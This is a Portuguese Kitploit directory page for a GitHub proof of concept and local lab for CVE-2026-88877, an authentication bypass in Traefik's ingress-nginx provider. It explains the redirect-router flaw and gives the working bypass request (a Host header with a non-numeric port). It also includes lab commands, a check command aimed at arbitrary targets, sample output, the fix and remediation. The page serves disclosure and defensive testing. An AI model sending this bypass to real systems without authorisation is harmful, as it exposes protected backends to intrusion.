Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-88877-PoC-pwnVader — Prova de conceito e laboratório reproduzível para CVE-2026-88877, um bypass de autenticação do Traefik ingress-nginx via from-to-www-redirect, com um modo de verificação somente leitura. | Kitploit
Ferramentas/GitHubGitHub/pwnvader/cve-2026-88877-poc-pwnvader
Segurança de ContêineresAnálise de VulnerabilidadesExploraçãoSegurança WebTestes de PenetraçãoSegurança na NuvemAutenticaçãoLabs e Prática

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
pwnvader/cve-2026-88877-poc-pwnvader

CVE-2026-88877-PoC-pwnVader

Prova de conceito e laboratório reproduzível para CVE-2026-88877, um bypass de autenticação do Traefik ingress-nginx via from-to-www-redirect, com um modo de verificação somente leitura.

Ver Repositório
28há 27 diasAinda não revisado

CVE-2026-88877 — Traefik v3.7.0–v3.7.11 — Bypass de autenticação via from-to-www-redirect

Autor: pwnVader · Licença: MIT (raiz do repositório)

ComponenteTraefik (provider Kubernetes ingress-nginx, providers.kubernetesingressnginx)
TipoCWE-639 — Bypass de autorização através de chave controlada pelo usuário
AfetadoTraefik >= v3.7.0, <= v3.7.11 (v2 e < v3.7.0 não são afetados)
Corrigidov3.7.12
CVECVE-2026-88877 — CVSS 4.0 9.3 (Crítico, conforme o aviso do fornecedor) · CVSS 3.1 9.8 (conforme publicado por alguns bancos de dados de vulnerabilidades)
Aviso oficialGHSA-cjr6-pf59-jq29 (aviso do repositório Traefik)
PoCpoc.sh · lab/

Status de divulgação. Esta vulnerabilidade foi divulgada publicamente pelo projeto Traefik e está corrigida na v3.7.12. Este documento é uma análise técnica independente com um laboratório reproduzível — não é a descoberta original. A vulnerabilidade foi reportada/divulgada através do aviso do fornecedor listado acima (ver também o aviso da VulnCheck). Não utilize este material contra sistemas sem autorização explícita.

Identificadores GHSA. O aviso oficial do repositório é GHSA-cjr6-pf59-jq29. O banco de dados genérico de avisos do GitHub também possui um registro separado, GHSA-9rch-gvf7-hrfc, para o mesmo problema; ao citar a vulnerabilidade, prefira o aviso do repositório.

Resumo

Quando um Ingress carrega tanto uma anotação de autenticação (por exemplo, nginx.ingress.kubernetes.io/auth-type: basic) quanto nginx.ingress.kubernetes.io/from-to-www-redirect: "true", o provider ingress-nginx do Traefik cria um router "irmão" extra que corresponde apenas ao host, carrega somente o middleware RedirectRegex gerado e ainda aponta para o backend protegido:

// pkg/provider/kubernetes/ingress-nginx/translator.go (v3.7.10)
conf.HTTP.Middlewares[mwName] = &dynamic.Middleware{
    RedirectRegex: &dynamic.RedirectRegex{
        Regex:       `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
        Replacement: fmt.Sprintf("$1://%s$2/$3", f.TargetHostname),
        StatusCode:  new(http.StatusPermanentRedirect), // 308
    },
}

conf.HTTP.Routers[routerKey+"-from-to-www-redirect"] = &dynamic.Router{
    Rule:        f.ExtraRouterRule,        // Host("www.example.com")
    Middlewares: []string{mwName},         // ONLY the redirect middleware
    Service:     rt.Service,               // <-- the protected backend
}

RedirectRegex não é um handler terminal: se sua regex não corresponder, a requisição é passada para o próximo handler e, por fim, encaminhada ao backend. A regex aceita apenas uma porta numérica ((:[0-9]+)?), enquanto o matcher Host() do Traefik canoniza a autoridade através de net.SplitHostPort. Uma requisição cujo cabeçalho Host tenha uma porta não numérica ou vazia, portanto:

  1. ainda corresponde ao router irmão (Host("www.example.com")), mas
  2. não corresponde à regex de redirecionamento (www.example.com:x), então não é redirecionada, e
  3. é encaminhada ao backend protegido sem nenhum dos middlewares derivados das anotações do Ingress (BasicAuth, allowlists de IP de origem, etc.).

Uma única requisição não autenticada — Host: www.example.com:x — alcança um backend que exige autenticação. O status HTTP retornado depende do próprio backend: neste laboratório o backend traefik/whoami responde 200, mas o fato relevante para a segurança é que a requisição alcançou o backend sem autenticação, e não o código de status específico.

Pré-condições

  • Traefik v3.7.0–v3.7.11 em execução com o provider ingress-nginx habilitado (--providers.kubernetesingressnginx=true).
  • Um Ingress que combine uma anotação de autenticação/allowlist com nginx.ingress.kubernetes.io/from-to-www-redirect: "true", para um host sem contraparte www. (caso contrário, o router irmão não é gerado).

Laboratório (validado)

# requirements: docker, kind (https://kind.sigs.k8s.io), kubectl
./lab/up.sh                     # kind cluster + Traefik v3.7.10 + whoami + protected Ingress
./poc.sh lab                    # applies manifests, exposes the lab on 127.0.0.1:18080, tests
./lab/down.sh                   # tear down

poc.sh check também pode ser apontado para qualquer implantação candidata:

./poc.sh check --url https://target.example --host target.example --verbose

Saída validada (este laboratório, Traefik v3.7.10)

[1] Protected host (Host: example.local) — authentication must be enforced
    HTTP 401
  [PASS] auth middleware enforced (HTTP 401)

[2] www host (Host: www.example.local) — the redirect router
    HTTP 308
  [PASS] redirect router responds (HTTP 308)

[3] Bypass attempt (Host: www.example.local:x) — non-numeric port
    HTTP 200
    > Hostname: whoami-ff77f998d-25f6n
    > RemoteAddr: 10.244.0.8:57586
    > X-Forwarded-Server: traefik-7f76f4c58d-5knfz

== RESULT ==
  [PASS] VULNERABLE: the request reached the protected backend without authentication (HTTP 200)

O backend usado no laboratório (traefik/whoami) ecoa a requisição, provando que a requisição alcançou o serviço protegido sem cabeçalho Authorization e sem middleware de autenticação aplicado. O código de status exibido (200) é o que este backend específico retorna; com um backend diferente, o bypass pode se manifestar como outra resposta que não seja 401/403/redirecionamento.

A correção (v3.7.12)

-            Regex:       `(https?)://[^/:]+(:[0-9]+)?/(.*)`,
+            // Anchored to prevent ReplaceAllString from rewriting past the leading URL.
+            Regex:       `^(https?)://(?:\[[^/\]]*\]|[^/:]+)(:[0-9]+)?[^/]*/(.*?)/?$`,
...
-        Service:       rt.Service,
+        // The redirect router does not carry the location middlewares (auth included),
+        // so it must never reach the backend.
+        Service:       unavailableServiceName,

O router de redirecionamento agora aponta para um serviço interno unavailable, de modo que, mesmo que uma requisição escape da regex, ela nunca poderá alcançar um backend protegido.

Remediação

Atualize para Traefik v3.7.12 ou posterior. Instalações que não podem atualizar devem remover temporariamente nginx.ingress.kubernetes.io/from-to-www-redirect de qualquer Ingress que combine autenticação ou allowlists, e implementar o redirecionamento com uma configuração que preserve os middlewares de controle de acesso (por exemplo, CRDs explícitos RedirectScheme/RedirectRegex do Traefik com os middlewares anexados). Defesa em profundidade: também imponha autenticação no backend/upstream.

Referências

  • Aviso oficial do Traefik (primário): https://github.com/traefik/traefik/security/advisories/GHSA-cjr6-pf59-jq29
  • Banco de dados genérico de avisos do GitHub (mesmo problema, registro separado): GHSA-9rch-gvf7-hrfc
  • NVD — CVE-2026-88877: https://nvd.nist.gov/vuln/detail/CVE-2026-88877
  • Aviso da VulnCheck: https://www.vulncheck.com/advisories/traefik-3.7.0-authentication-bypass-via-from-to-www-redirect
  • Red Hat: https://access.redhat.com/security/cve/cve-2026-88877
  • Decisões de segurança do Traefik (modelo de header/middleware): https://doc.traefik.io/traefik/contributing/security-decisions/

Aviso legal

Apenas para testes de segurança autorizados. O laboratório é local e autocontido; o modo check é somente leitura (três requisições GET) e deve ser usado apenas contra sistemas que você possui ou está explicitamente autorizado a testar.

Baixar ferramenta